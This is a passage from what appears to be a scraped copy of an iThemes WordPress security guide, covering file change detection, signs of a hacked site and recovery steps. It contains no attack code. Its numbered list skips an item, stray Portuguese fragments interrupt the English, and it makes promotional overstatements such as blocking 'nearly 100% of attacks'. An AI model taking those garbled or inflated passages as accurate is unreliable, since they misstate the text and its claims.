There are a couple of ways that iThemes Security Pro can detect if a change made to a file was legitimate and not a cause for concern. iThemes Security Pro will not create a File Change notification for changes it can verify.

1. Plugin/Theme Updates Completed By Version Management

The Version Management feature in iThemes Security Pro allows you to auto-update WordPress, plugins, and themes.

WordPress Security Version Management Settigns

If an update is completed by Version Management, iThemes Security Pro will know the source of the update and won’t trigger an alert.

2. File Comparison for iThemes Plugins & Themes

Check the Compare Files Online box in the File Change Detection settings to enable online file comparison.

WordPress Security Online File Comparison

Any time a file on your website belonging to an iThemes plugin or theme is changed, it will get compared to a file on the iThemes server. If the hash to the version of the file on your website matches the hash to version on the iThemes server, it will be a legitimate change, and you will not receive an alert.

3. WordPress.org Online File Comparison

If a WordPress core file or a plugin installed from the WordPress.org repository is changed, the file will be compared with the version on WordPress.org. If the hashes match, the changes are not malicious, and you won’t receive an alert.

4. Manual Exclusions

You can exclude files, directories, and file types from File Change Detection in the File Change Detection settings.

WordPress Security Manual File Change Expulsions

The general rule is it’s okay to exclude files that you know are going to be regularly updating. Backup and cache files are a perfect example of this. Excluding these types of files will calm a lot of the extra noise.

7 Signs Your WordPress Website Was Hacked

Finding yourself asking, “Is my WordPress site hacked?” means you’ll want some quick answers.

The faster you notice the signs of a website breach, the quicker you can get your site cleaned up. The quicker you can get your website cleaned, the less damage the hack can do to your website.

1. Your Homepage is Different

Changes to your homepage seem like an obvious sign. But how many times do you actually run a thorough check or your homepage? I know I typically go straight to my login URL and not my home URL. From there, I log in, update my site or edit a post. After I finish what I came to do, I often leave without looking at my website’s home page.

The primary goal of some hacks is to troll a website or gain notoriety. So they only change your homepage to something they find funny or to leave a hacked by calling card.

WordPress security hacked homepage

If you do notice a change to your homepage, you can restore your website quickly and easily using a backup file made with a trusted WordPress backup plugin such as BackupBuddy.

2. Your Website Performance Has Dropped

Your site may feel sluggish when it has an infection. You can experience slowdowns on your website if you are experiencing brute force attacks or if there is a malicious script using your server resources for cryptocurrency mining. Similarly, a DDoS (or denial of service attack) happens when a network of IPs simultaneously sends requests to your website in an attempt to cause it to crash.

3. Your Website Contains Malicious or Spam Popups Ads

There is a good chance a hacker has compromised your website if your visitors see popups that redirect them to a malicious website. The goal of this type of attack is to drive traffic away from your site to the attacker’s site so they can target users with click fraud for Pay Per Click advertising.

The most frustrating thing about this type of hack is you may not be able to see the popups. A popup hack can be designed to not show for logged in users, which decreases the odds of website owners seeing them. So even when the site owner logs out, the popups will never display.

Your view of the popups can also be limited if you use an ad blocker extension in your browser. For example, a customer reported a popup hack and shared screenshots and a video of the popups. After I spent hours running through their website, I was not able to recreate anything they were reporting. I was convinced that their personal computer had been hacked and not the website.

Finally, it dawned on me why I wasn’t able to see the popups. I had installed an adblocker extension on my browser. As soon as I disabled the ad blocker extension, I was able to see popups everywhere. I share this embarrassing story to save you from running into the same mistake, hopefully.

4. You Notice a Decrease in Website Traffic

If you log into your Google Analytics account and you notice a steep decline in website traffic, your WordPress site could be hacked. A drop in site traffic deserves an investigation. There could be a malicious script on your site that is redirecting visitors away from your site or Google could already by blacklisting your website as a malicious site.

The first thing you want to look for is your website’s outbound traffic. By tracking your website with Google Analytics, you will need to configure your site to track the traffic leaving your site. The easiest way to monitor outbound traffic on your WordPress site is to use a WordPress Google Analytics plugin.

6. Unexpected New Users

If your website has any unexpected registrations of new admin users, that’s another sign your WordPress site has been hacked. Through an exploit of a compromised user, an attacker can create a new admin user. With their new admin privileges, the hacker is ready to cause some major damage to your site.

Remember the WP GDPR Compliance plugin from earlier? In November of 2018, we had several reports of new admin users being created on customer websites. Hackers used a vulnerability in the WP GDPR Compliance plugin (vulnerability patched in version 1.4.3) to create new admin users on WordPress sites running the plugin. The plugin exploit allowed unauthorized users to modify the user registration to change the default new-user role from a subscriber to an admin. Unfortunately, this wasn’t the only vulnerability and you can’t just remove the new users the attacker created and patch the plugin.

If you had WP GDPR Compliance and WooCommerce installed, your site might have been injected with malicious code. The attackers could use the WooCommerce plugin background installer to insert a backdoor installer in the database. If your site has a backdoor installed, you should contact a hack repair specialist. Another option is to use a backup file to roll back to a copy of your website before the breach using a previous backup.

7. Admin Users Removed

If you are unable to log into your WordPress site, even after a password reset, it may be a serious sign of infection.

Quando o Gentoo Github repo got hacked, the first thing the attacker did was delete all admin users. So how did this hacker even get into their Github account? A Gentoo admin user’s password was discovered on a different site. I am guessing that the username and password were discovered either through scraping or a database dump.

Even though the admin’s password for their Gentoo Github account was different than one used on the compromised account, it was very similar. So this would be like me using iAmAwesome2020 as a password on one account and iAmAwesome2021 on another site. So the hackers were able to figure out the password with a little effort. As we can see, you should use a unique password for every account. A simple variation in your passwords isn’t enough. Using LastPass, you can generate and securely store strong, unique passwords for every site.

How to Come Back From Disaster

If you suspect a breach has happened, there are a few quick steps you can take to mitigate the damage.

Restore to a Previous/Clean Backup of Your Site

The most sure-fire way to undo a security breach is to restore your site back to a previous version, prior to the attack. That’s why having a comprehensive WordPress backup solution in place is so important. We recommend using BackupBuddy to schedule backups to run automatically so you always have a backup.

Just note that restoring a previous backup may still leave your site vulnerable to the same breach, so it’s important to also follow these steps.

Update All Out-Dated Plugins & Themes Immediately

A vulnerable plugin or theme may still be the culprit, so it’s important to IMMEDIATELY update all outdated plugins or themes. Even if you restore to a previous clean version of your website, the same vulnerabilities will still exist and can be hacked again.

You may also want to check that you aren’t running a vulnerable plugin or theme that is still without a patch from the developer. You will need to remove this plugin immediately.

Enable Two-Factor Authentication

If you aren’t using two-factor authentication to secure admin logins, activate it immediately. This added layer of security will help make sure unauthorized users can’t hack any admin accounts.

Seek Help For Professional Malware Removal

WordPress security breaches occur at the server-level (deeper than your WordPress installation), so you may need to contact a professional malware removal service. We recommend WeWatchYourWebsite for professional malware removal.

Wrapping Up: WordPress Security Ultimate Guide

In this WordPress security guide, we covered A LOT! But, by following the tips in this guide, you will block nearly 100% of attacks levied on your website.

A WordPress Security Plugin Can Help Secure Your WordPress Website

Paired with the knowledge of the WordPress security topics in this guide, a WordPress security plugin can help secure your WordPress website. iThemes Security Pro, our WordPress security plugin, offers 50+ ways to secure and protect your website from common WordPress security vulnerabilities. Com o WordPress, autenticação de dois fatores, proteção de força bruta, aplicação de senha forte e muito mais, você pode adicionar uma camada extra de segurança ao seu site.

Fonte